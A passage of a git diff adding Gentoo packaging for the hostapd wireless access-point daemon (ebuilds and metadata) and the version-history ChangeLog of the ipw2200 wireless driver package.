+ echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG}
+ echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG}
+ echo "LIBS += -L/usr/lib" >> ${CONFIG}
+
+ # misc
+ echo "CONFIG_PKCS12=y" >> ${CONFIG}
+ echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG}
+ echo "CONFIG_IAPP=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211R=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211W=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211N=y" >> ${CONFIG}
+ echo "CONFIG_PEERKEY=y" >> ${CONFIG}
+ echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG}
+ echo "CONFIG_INTERWORKING=y" >> ${CONFIG}
+
+ if use ipv6; then
+ # IPv6 support
+ echo "CONFIG_IPV6=y" >> ${CONFIG}
+ fi
+
+ if ! use debug; then
+ echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG}
+ fi
+
+ # If we are using libnl 2.0 and above, enable support for it
+ # Removed for now, since the 3.2 version is broken, and we don't
+ # support it.
+ if has_version ">=dev-libs/libnl-3.2"; then
+ echo "CONFIG_LIBNL32=y" >> .config
+ fi
+
+ # TODO: Add support for BSD drivers
+
+ default_src_configure
+}
+
+src_compile() {
+ emake V=1
+
+ if use ssl; then
+ emake V=1 nt_password_hash
+ emake V=1 hlr_auc_gw
+ fi
+}
+
+src_install() {
+ insinto /etc/${PN}
+ doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk}
+
+ fperms -R 600 /etc/${PN}
+
+ dosbin ${PN}
+ dobin ${PN}_cli
+
+ use ssl && dobin nt_password_hash hlr_auc_gw
+
+ newinitd "${FILESDIR}"/${PN}-init.d ${PN}
+ newconfd "${FILESDIR}"/${PN}-conf.d ${PN}
+
+ doman ${PN}{.8,_cli.1}
+
+ dodoc ChangeLog README
+ use wps && dodoc README-WPS
+
+ docinto examples
+ dodoc wired.conf
+
+ if use logwatch; then
+ insinto /etc/log.d/conf/services/
+ doins logwatch/${PN}.conf
+
+ exeinto /etc/log.d/scripts/services/
+ doexe logwatch/${PN}
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "In order to use ${PN} you need to set up your wireless card"
+ einfo "for master mode in /etc/conf.d/net and then start"
+ einfo "/etc/init.d/${PN}."
+ einfo
+ einfo "Example configuration:"
+ einfo
+ einfo "config_wlan0=( \"192.168.1.1/24\" )"
+ einfo "channel_wlan0=\"6\""
+ einfo "essid_wlan0=\"test\""
+ einfo "mode_wlan0=\"master\""
+ einfo
+ if use madwifi; then
+ einfo "This package compiles against the headers installed by"
+ einfo "madwifi-old, madwifi-ng or madwifi-ng-tools."
+ einfo "You should remerge ${PN} after upgrading these packages."
+ einfo
+ einfo "Since you are using the madwifi-ng driver, you should disable or"
+ einfo "comment out wme_enabled from ${PN}.conf, since it will"
+ einfo "cause problems otherwise (see bug #260377"
+ fi
+ #if [ -e "${KV_DIR}"/net/mac80211 ]; then
+ # einfo "This package now compiles against the headers installed by"
+ # einfo "the kernel source for the mac80211 driver. You should "
+ # einfo "re-emerge ${PN} after upgrading your kernel source."
+ #fi
+
+ if use wps; then
+ einfo "You have enabled Wi-Fi Protected Setup support, please"
+ einfo "read the README-WPS file in /usr/share/doc/${P}"
+ einfo "for info on how to use WPS"
+ fi
+}
diff --git a/net-wireless/hostapd/hostapd-1.0-r5.ebuild b/net-wireless/hostapd/hostapd-1.0-r5.ebuild
new file mode 100644
index 00000000..1747ddc9
--- /dev/null
+++ b/net-wireless/hostapd/hostapd-1.0-r5.ebuild
@@ -0,0 +1,207 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $
+
+EAPI="4"
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon"
+HOMEPAGE="http://hostap.epitest.fi"
+SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 BSD )"
+SLOT="0"
+KEYWORDS="amd64 ~mips ppc x86"
+IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ kernel_linux? (
+ dev-libs/libnl:3
+ crda? ( net-wireless/crda )
+ )
+ madwifi? ( ||
+ ( >net-wireless/madwifi-ng-tools-0.9.3
+ net-wireless/madwifi-old ) )"
+RDEPEND="${DEPEND}"
+
+S="${S}/${PN}"
+
+src_prepare() {
+ cd ..
+ epatch "${FILESDIR}/${P}-libnl_path_fix.patch"
+ epatch "${FILESDIR}/${P}-tls_length_fix.patch"
+ use karma && epatch "${FILESDIR}/${P}-karma-0.2.patch"
+ use cui && epatch "${FILESDIR}/cui-20120417.patch"
+
+ sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \
+ "${S}/hostapd.conf" || die
+}
+
+src_configure() {
+ local CONFIG="${S}/.config"
+
+ # toolchain setup
+ echo "CC = $(tc-getCC)" > ${CONFIG}
+
+ # EAP authentication methods
+ echo "CONFIG_EAP=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MD5=y" >> ${CONFIG}
+
+ if use ssl; then
+ # SSL authentication methods
+ echo "CONFIG_EAP_TLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_TTLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PEAP=y" >> ${CONFIG}
+ fi
+
+ if use wps; then
+ # Enable Wi-Fi Protected Setup
+ echo "CONFIG_WPS=y" >> ${CONFIG}
+ echo "CONFIG_WPS2=y" >> ${CONFIG}
+ echo "CONFIG_WPS_UPNP=y" >> ${CONFIG}
+ einfo "Enabling Wi-Fi Protected Setup support"
+ fi
+
+ echo "CONFIG_EAP_GTC=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SIM=y" >> ${CONFIG}
+ echo "CONFIG_EAP_AKA=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PAX=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SAKE=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG}
+
+ einfo "Enabling drivers: "
+
+ # drivers
+ echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG}
+ einfo " HostAP driver enabled"
+ echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG}
+ einfo " Wired driver enabled"
+ echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG}
+ einfo " Prism54 driver enabled"
+ echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG}
+ einfo " None driver enabled"
+
+ if use madwifi; then
+ # Add include path for madwifi-driver headers
+ einfo " Madwifi driver enabled"
+ echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG}
+ echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG}
+ else
+ einfo " Madwifi driver disabled"
+ fi
+
+ einfo " nl80211 driver enabled"
+ echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG}
+ echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG}
+ echo "LIBS += -L/usr/lib" >> ${CONFIG}
+
+ # misc
+ echo "CONFIG_PKCS12=y" >> ${CONFIG}
+ echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG}
+ echo "CONFIG_IAPP=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211R=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211W=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211N=y" >> ${CONFIG}
+ echo "CONFIG_PEERKEY=y" >> ${CONFIG}
+ echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG}
+ echo "CONFIG_INTERWORKING=y" >> ${CONFIG}
+
+ if use ipv6; then
+ # IPv6 support
+ echo "CONFIG_IPV6=y" >> ${CONFIG}
+ fi
+
+ if ! use debug; then
+ echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG}
+ fi
+
+ # If we are using libnl 2.0 and above, enable support for it
+ # Removed for now, since the 3.2 version is broken, and we don't
+ # support it.
+ if has_version ">=dev-libs/libnl-3.2"; then
+ echo "CONFIG_LIBNL32=y" >> .config
+ fi
+
+ # TODO: Add support for BSD drivers
+
+ default_src_configure
+}
+
+src_compile() {
+ emake V=1
+
+ if use ssl; then
+ emake V=1 nt_password_hash
+ emake V=1 hlr_auc_gw
+ fi
+}
+
+src_install() {
+ insinto /etc/${PN}
+ doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk}
+
+ fperms -R 600 /etc/${PN}
+
+ dosbin ${PN}
+ dobin ${PN}_cli
+
+ use ssl && dobin nt_password_hash hlr_auc_gw
+
+ newinitd "${FILESDIR}"/${PN}-init.d ${PN}
+ newconfd "${FILESDIR}"/${PN}-conf.d ${PN}
+
+ doman ${PN}{.8,_cli.1}
+
+ dodoc ChangeLog README
+ use wps && dodoc README-WPS
+
+ docinto examples
+ dodoc wired.conf
+
+ if use logwatch; then
+ insinto /etc/log.d/conf/services/
+ doins logwatch/${PN}.conf
+
+ exeinto /etc/log.d/scripts/services/
+ doexe logwatch/${PN}
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "In order to use ${PN} you need to set up your wireless card"
+ einfo "for master mode in /etc/conf.d/net and then start"
+ einfo "/etc/init.d/${PN}."
+ einfo
+ einfo "Example configuration:"
+ einfo
+ einfo "config_wlan0=( \"192.168.1.1/24\" )"
+ einfo "channel_wlan0=\"6\""
+ einfo "essid_wlan0=\"test\""
+ einfo "mode_wlan0=\"master\""
+ einfo
+ if use madwifi; then
+ einfo "This package compiles against the headers installed by"
+ einfo "madwifi-old, madwifi-ng or madwifi-ng-tools."
+ einfo "You should remerge ${PN} after upgrading these packages."
+ einfo
+ einfo "Since you are using the madwifi-ng driver, you should disable or"
+ einfo "comment out wme_enabled from ${PN}.conf, since it will"
+ einfo "cause problems otherwise (see bug #260377"
+ fi
+ #if [ -e "${KV_DIR}"/net/mac80211 ]; then
+ # einfo "This package now compiles against the headers installed by"
+ # einfo "the kernel source for the mac80211 driver. You should "
+ # einfo "re-emerge ${PN} after upgrading your kernel source."
+ #fi
+
+ if use wps; then
+ einfo "You have enabled Wi-Fi Protected Setup support, please"
+ einfo "read the README-WPS file in /usr/share/doc/${P}"
+ einfo "for info on how to use WPS"
+ fi
+}
diff --git a/net-wireless/hostapd/metadata.xml b/net-wireless/hostapd/metadata.xml
new file mode 100644
index 00000000..f20867c4
--- /dev/null
+++ b/net-wireless/hostapd/metadata.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>mobile</herd>
+ <maintainer>
+ <email>gurligebis@gentoo.org</email>
+ <name>Bjarke Istrup Pedersen</name>
+ </maintainer>
+ <longdescription>
+ User space daemon for the hostap-driver.
+ Extended IEEE 802.11 management, IEEE 802.1X Authenticator,
+ RADIUS Authentication client, RADIUS Accounting client
+ </longdescription>
+ <use>
+ <flag name='debug'>Enables debugging</flag>
+ <flag name='logwatch'>Install support files for
+ <pkg>sys-app/logwatch</pkg></flag>
+ <flag name='madwifi'>Add support for madwifi (Atheros chipset)</flag>
+ <flag name='wps'>Add support for Wi-Fi Protected Setup</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-wireless/ipw2200/ChangeLog b/net-wireless/ipw2200/ChangeLog
new file mode 100644
index 00000000..5c4dc899
--- /dev/null
+++ b/net-wireless/ipw2200/ChangeLog
@@ -0,0 +1,396 @@
+# ChangeLog for net-wireless/ipw2200
+# Copyright 1999-2006 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/ipw2200/ChangeLog,v 1.70 2006/09/13 12:33:35 phreak Exp $
+
+*ipw2200-1.2.0 (13 Sep 2006)
+
+ 13 Sep 2006; Christian Heim <phreak@gentoo.org>
+ +files/ipw2200-1.2.0-modverdir.patch, +ipw2200-1.2.0.ebuild:
+ Version bump. Fixes #147319 (thanks David Li for reporting).
+
+*ipw2200-1.1.3 (13 Jul 2006)
+
+ 13 Jul 2006; Christian Heim <phreak@gentoo.org>
+ +files/ipw2200-1.1.3-modverdir.patch, metadata.xml, +ipw2200-1.1.3.ebuild:
+ Version bump; Taking temporary maintainership
+
+ 30 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/ipw2200-1.0.8-broadcast.patch,
+ -files/ipw2200-1.0.8-slabcorrupt.patch, -files/ipw2200-1.0.8-txbusy.patch,
+ -files/ipw2200-1.0.9-qos.patch, -files/ipw2200-1.0.11-debug.patch,
+ -files/ipw2200-1.1.1-diversity.patch,
+ -files/ipw2200-1.1.1-fw_endian.patch, -ipw2200-1.0.8-r1.ebuild,
+ -ipw2200-1.0.9.ebuild, -ipw2200-1.0.10.ebuild, -ipw2200-1.0.11.ebuild,
+ -ipw2200-1.0.11-r1.ebuild, -ipw2200-1.0.12.ebuild, -ipw2200-1.0.13.ebuild,
+ -ipw2200-1.1.0.ebuild, -ipw2200-1.1.1.ebuild, -ipw2200-1.1.1-r1.ebuild,
+ -ipw2200-1.1.2.ebuild:
+ Pruned old ebuilds.
+
+ 22 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.1.2-r1.ebuild:
+ Stable on x86.
+
+*ipw2200-1.1.2-r1 (11 Apr 2006)
+
+ 11 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.1.2-cflags.patch, +files/ipw2200-1.1.2-scan_fix.patch,
+ +ipw2200-1.1.2-r1.ebuild:
+ Add a couple of patches from upstream.
+
+ 02 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ files/digest-ipw2200-1.1.2, Manifest:
+ Updated digest to match changed distribution file, thanks to StijnT.
+
+ 26 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.1.0.ebuild:
+ Stable on x86.
+
+ 25 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/ipw2200-1.1.1-rtap_iface.patch, ipw2200-1.1.1-r1.ebuild:
+ Move large patch to mirrors, thanks to Halcy0n in bug #123634.
+
+*ipw2200-1.1.1-r1 (24 Mar 2006)
+
+ 24 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.1.1-diversity.patch,
+ +files/ipw2200-1.1.1-fw_endian.patch,
+ +files/ipw2200-1.1.1-rtap_iface.patch, +ipw2200-1.1.1-r1.ebuild:
+ Added various updates from upstream.
+
+*ipw2200-1.1.1 (08 Mar 2006)
+
+ 08 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.1.1.ebuild:
+ Version bump.
+
+*ipw2200-1.1.0 (24 Feb 2006)
+
+ 24 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.1.0.ebuild:
+ Version bump.
+
+ 23 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/ipw2200-1.0.1-is_multicast_ether_addr.patch,
+ -files/ipw2200-1.0.1-suspend2.patch,
+ -files/ipw2200-1.0.3-is_multicast_ether_addr.patch,
+ -files/ipw2200-1.0.3-suspend2.patch,
+ -files/ipw2200-1.0.4-is_multicast_ether_addr.patch,
+ -files/ipw2200-1.0.6-a_txpow.patch, -files/ipw2200-1.0.6-broadcast.patch,
+ -files/ipw2200-1.0.6-channel_change_fw_err.patch,
+ -files/ipw2200-1.0.6-dup-without-retry.patch,
+ -files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch,
+ -files/ipw2200-1.0.6-ibss-wep.patch, -files/ipw2200-1.0.6-init_scan.patch,
+ -files/ipw2200-1.0.6-irq_override.patch,
+ -files/ipw2200-1.0.6-monitor_wep_fix.patch,
+ -files/ipw2200-1.0.6-open_frag.patch,
+ -files/ipw2200-1.0.6-pci_link-fix.patch,
+ -files/ipw2200-1.0.6-reset-mode-fix.patch,
+ -files/ipw2200-1.0.6-suspend2.patch, -files/ipw2200-1.0.7-broadcast.patch,
+ -files/ipw2200-1.0.7-wireless_ext-capa.patch, -ipw2200-1.0.1.ebuild,
+ -ipw2200-1.0.3.ebuild, -ipw2200-1.0.4.ebuild, -ipw2200-1.0.5.ebuild,
+ -ipw2200-1.0.6.ebuild, -ipw2200-1.0.6-r1.ebuild, -ipw2200-1.0.6-r2.ebuild,
+ -ipw2200-1.0.6-r3.ebuild, -ipw2200-1.0.7.ebuild, -ipw2200-1.0.7-r1.ebuild,
+ -ipw2200-1.0.8.ebuild:
+ Pruned old ebuilds.
+
+ 22 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.10.ebuild:
+ Stable on x86.
+
+*ipw2200-1.0.13 (22 Feb 2006)
+
+ 22 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.13.ebuild:
+ Version bump.
+
+*ipw2200-1.0.12 (17 Feb 2006)
+
+ 17 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.12.ebuild:
+ Version bump.
+
+*ipw2200-1.0.11-r1 (15 Feb 2006)
+
+ 15 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.11-debug.patch, +ipw2200-1.0.11-r1.ebuild:
+ Fix debug support.
+
+*ipw2200-1.0.11 (15 Feb 2006)
+
+ 15 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.11.ebuild:
+ Version bump.
+
+*ipw2200-1.0.10 (09 Jan 2006)
+
+ 09 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.10.ebuild:
+ Version bump.
+
+*ipw2200-1.0.9 (06 Jan 2006)
+
+ 06 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.9-qos.patch, +ipw2200-1.0.9.ebuild:
+ Version bump.
+
+ 17 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.0.8-r1.ebuild:
+ Stable on x86.
+
+*ipw2200-1.0.8-r1 (17 Nov 2005)
+
+ 17 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.8-broadcast.patch,
+ +files/ipw2200-1.0.8-slabcorrupt.patch, +files/ipw2200-1.0.8-txbusy.patch,
+ +ipw2200-1.0.8-r1.ebuild:
+ Added a few upstream patches.
+
+*ipw2200-1.0.8 (21 Oct 2005)
+
+ 21 Oct 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.8.ebuild:
+ Version bump.
+
+*ipw2200-1.0.7-r1 (20 Oct 2005)
+
+ 20 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.7-broadcast.patch,
+ +files/ipw2200-1.0.7-wireless_ext-capa.patch, +ipw2200-1.0.7-r1.ebuild:
+ Patch from upstream to fix broadcast issues and compile problems with older
+ wireless extensions.
+
+*ipw2200-1.0.7 (18 Oct 2005)
+
+ 18 Oct 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.7.ebuild:
+ Version bump.
+
+ 15 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.0.6-r3.ebuild:
+ Stable on x86, bug #108613.
+
+ 08 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.0.6-r3.ebuild:
+ Updated to depend on >=net-wireless/ieee80211-1.0.3-r2, bug #105235.
+
+*ipw2200-1.0.6-r3 (06 Sep 2005)
+
+ 06 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.6-a_txpow.patch, files/ipw2200-1.0.6-broadcast.patch,
+ +files/ipw2200-1.0.6-channel_change_fw_err.patch,
+ +files/ipw2200-1.0.6-dup-without-retry.patch,
+ +files/ipw2200-1.0.6-ibss-wep.patch, +files/ipw2200-1.0.6-init_scan.patch,
+ +files/ipw2200-1.0.6-irq_override.patch,
+ +files/ipw2200-1.0.6-monitor_wep_fix.patch,
+ +files/ipw2200-1.0.6-open_frag.patch,
+ +files/ipw2200-1.0.6-pci_link-fix.patch,
+ +files/ipw2200-1.0.6-reset-mode-fix.patch, +ipw2200-1.0.6-r3.ebuild:
+ Apply bugfixes from upstream, bail out if no ieee80211 kernel module is found.
+
+*ipw2200-1.0.6-r2 (02 Sep 2005)
+
+ 02 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.6-broadcast.patch, +ipw2200-1.0.6-r2.ebuild:
+ Fix DHCP issues with some Access Points.
+
+*ipw2200-1.0.6-r1 (29 Aug 2005)
+
+ 29 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch,
+ +files/ipw2200-1.0.6-suspend2.patch, +ipw2200-1.0.6-r1.ebuild:
+ Add fix for WPA when using hwcrypto. Allow compiling against
+ sys-kernel/suspend2-sources-2.6.13.
+
+ 16 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.6.ebuild:
+ Stable on x86.
+
+ 09 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.6.ebuild:
+ Added ~amd64 keyword, bug #98823.
+
+*ipw2200-1.0.6 (14 Jul 2005)
+
+ 14 Jul 2005; <brix@gentoo.org> +ipw2200-1.0.6.ebuild:
+ Version bump.
+
+*ipw2200-1.0.5 (12 Jul 2005)
+
+ 12 Jul 2005; <brix@gentoo.org> +ipw2200-1.0.5.ebuild:
+ Version bump.
+
+ 11 Jul 2005; <brix@gentoo.org> ipw2200-1.0.1.ebuild, ipw2200-1.0.3.ebuild,
+ ipw2200-1.0.4.ebuild:
+ Block upcoming net-wireless/ieee80211 package.
+
+ 24 Jun 2005; <brix@gentoo.org>
+ +files/ipw2200-1.0.1-is_multicast_ether_addr.patch,
+ +files/ipw2200-1.0.1-suspend2.patch, +ipw2200-1.0.1.ebuild:
+ Resurrected for the 2005.1 livecd.
+
+ 20 Jun 2005; <brix@gentoo.org>
+ +files/ipw2200-1.0.3-is_multicast_ether_addr.patch, ipw2200-1.0.3.ebuild:
+ Backported patch to 1.0.3, bug #96495.
+
+ 18 Jun 2005; <brix@gentoo.org>
+ +files/ipw2200-1.0.4-is_multicast_ether_addr.patch, ipw2200-1.0.4.ebuild:
+ Apply patch for allow compiling against linux-2.6.12.
+
+*ipw2200-1.0.4 (18 May 2005)
+
+ 18 May 2005; <brix@gentoo.org> +ipw2200-1.0.4.ebuild:
+ Version bump. This release includes monitor mode and hardware-based crypto
+ support.
+
+ 15 May 2005; <brix@gentoo.org> -ipw2200-1.0.1.ebuild,
+ -ipw2200-1.0.2.ebuild, -ipw2200-1.0.2-r1.ebuild:
+ Pruned old ebuilds.
+
+ 05 May 2005; <brix@gentoo.org> +files/ipw2200-1.0.3-suspend2.patch,
+ ipw2200-1.0.3.ebuild:
+ Allow compiling against Software Suspend 2.1.8.7 patched kernel,
+ restructured ebuild.
+
+ 04 May 2005; <brix@gentoo.org> ipw2200-1.0.3.ebuild:
+ Stable on x86.
+
+ 28 Apr 2005; <brix@gentoo.org> ipw2200-1.0.2-r1.ebuild:
+ Stable on x86.
+
+*ipw2200-1.0.3 (08 Apr 2005)
+
+ 08 Apr 2005; <brix@gentoo.org> +ipw2200-1.0.3.ebuild:
+ Version bump.
+
+*ipw2200-1.0.2-r1 (05 Apr 2005)
+
+ 05 Apr 2005; <brix@gentoo.org> +ipw2200-1.0.2-r1.ebuild:
+ Fix problem with wrong tarball propagated on sf.net
+
+*ipw2200-1.0.2 (25 Mar 2005)
+
+ 25 Mar 2005; <brix@gentoo.org> ipw2200-1.0.1.ebuild, +ipw2200-1.0.2.ebuild:
+ Version bump and fix for bug #84508.
+
+ 12 Mar 2005; Henrik Brix Andersen <brix@gentoo.org> -ipw2200-1.0.0.ebuild:
+ Pruned old version.
+
+ 02 Mar 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.1.ebuild:
+ Stable on x86.
+
+ 25 Feb 2005; Simon Stelling <blubb@gentoo.org> ipw2200-1.0.1.ebuild:
+ added ~amd64
+
+ 10 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> -ipw2200-0.11.ebuild,
+ -ipw2200-0.12.ebuild, -ipw2200-0.13.ebuild, -ipw2200-0.15.ebuild,
+ -ipw2200-0.16.ebuild, -ipw2200-0.17.ebuild, -ipw2200-0.18.ebuild,
+ -ipw2200-0.19.ebuild, -ipw2200-0.21.ebuild:
+ Pruned old versions.
+
+*ipw2200-1.0.1 (08 Feb 2005)
+
+ 08 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.1.ebuild:
+ Version bump. This version includes preliminary WPA support.
+
+ 01 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> metadata.xml:
+ Transferred ownership to brix@gentoo.org.
+
+ 01 Feb 2005; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-1.0.0.ebuild:
+ Replaced the ebuild with the correct version of the v 0.21 ebuild.
+
+*ipw2200-1.0.0 (01 Feb 2005)
+
+ 01 Feb 2005; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-1.0.0.ebuild:
+ Version bump.
+
+*ipw2200-0.21 (18 Jan 2005)
+
+ 18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-0.21.ebuild:
+ Version bump, ported to use linux-mod.eclass, split firmware from ebuild,
+ re-enabled debug, disabled yet-to-be-completed WPA and promiscuous support.
+
+ 18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-0.11.ebuild,
+ ipw2200-0.12.ebuild, ipw2200-0.13.ebuild, ipw2200-0.15.ebuild,
+ ipw2200-0.16.ebuild, ipw2200-0.17.ebuild, ipw2200-0.18.ebuild,
+ ipw2200-0.19.ebuild:
+ Block net-wireless/ipw2200-firmware in preparation for splitting firmware from
+ driver ebuild.
+
+*ipw2200-0.19 (22 Dec 2004)
+
+ 22 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.19.ebuild:
+ Version bump.
+
+*ipw2200-0.18 (14 Dec 2004)
+
+ 14 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.18.ebuild:
+ Version bump. Resolves bug #73801.
+
+*ipw2200-0.16 (11 Dec 2004)
+
+ 11 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.16.ebuild,
+ +ipw2200-0.17.ebuild:
+ Version bump. Resolves bug #73801.
+
+*ipw2200-0.15 (25 Nov 2004)
+
+ 25 Nov 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.15.ebuild,
+ -ipw2200-0.3.ebuild, -ipw2200-0.4-r1.ebuild, -ipw2200-0.4.ebuild,
+ -ipw2200-0.5.ebuild, -ipw2200-0.6.ebuild, -ipw2200-0.7.ebuild,
+ -ipw2200-0.8.ebuild:
+ Version bump. Resolves Bug #72473.
+
+*ipw2200-0.13 (11 Nov 2004)
+
+ 11 Nov 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.13.ebuild:
+ Version bump.
+
+*ipw2200-0.12 (16 Oct 2004)
+
+ 16 Oct 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.12.ebuild:
+ Version bump. Firmware is now installed to /lib/firmware, with a symlink to
+ /usr/lib/hotplug/firmware, rather than the reverse. Resolves bug #67641.
+
+*ipw2200-0.11 (01 Oct 2004)
+
+ 01 Oct 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.11.ebuild:
+ Version bump. Creates symlinks to the firmware in the new firmware location.
+ Resolves bug #65784 and bug #65059.
+
+*ipw2200-0.8 (19 Sep 2004)
+
+ 19 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.8.ebuild:
+ Version bump.
+
+*ipw2200-0.7 (04 Sep 2004)
+
+ 04 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.7.ebuild:
+ Version bump.
+
+*ipw2200-0.6 (02 Sep 2004)
+
+ 02 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.6.ebuild:
+ Version bump. Resolves bug #62653.
+
+*ipw2200-0.5 (02 Sep 2004)
+
+ 02 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.5.ebuild:
+ Version bump. Resolves bug #62445.
+
+*ipw2200-0.4-r1 (17 Aug 2004)
+
+ 17 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-0.3.ebuild,
+ +ipw2200-0.4-r1.ebuild, ipw2200-0.4.ebuild:
+ A block on net-wireless/ipw2100 was added to all versions, at the
+ request of latexer, because the ieee80211 module is built by both
+ packages.
+ WPA support is now built, starting with 0.4-r1.
+
+ 16 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-0.4.ebuild:
+ Added a check for ARC4 cryptographic support in the kernel.
+
+*ipw2200-0.4 (16 Aug 2004)
+
+ 16 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.4.ebuild:
+ Version bump. Resolves Bug #60614.
+
+*ipw2200-0.3 (14 Aug 2004)
+
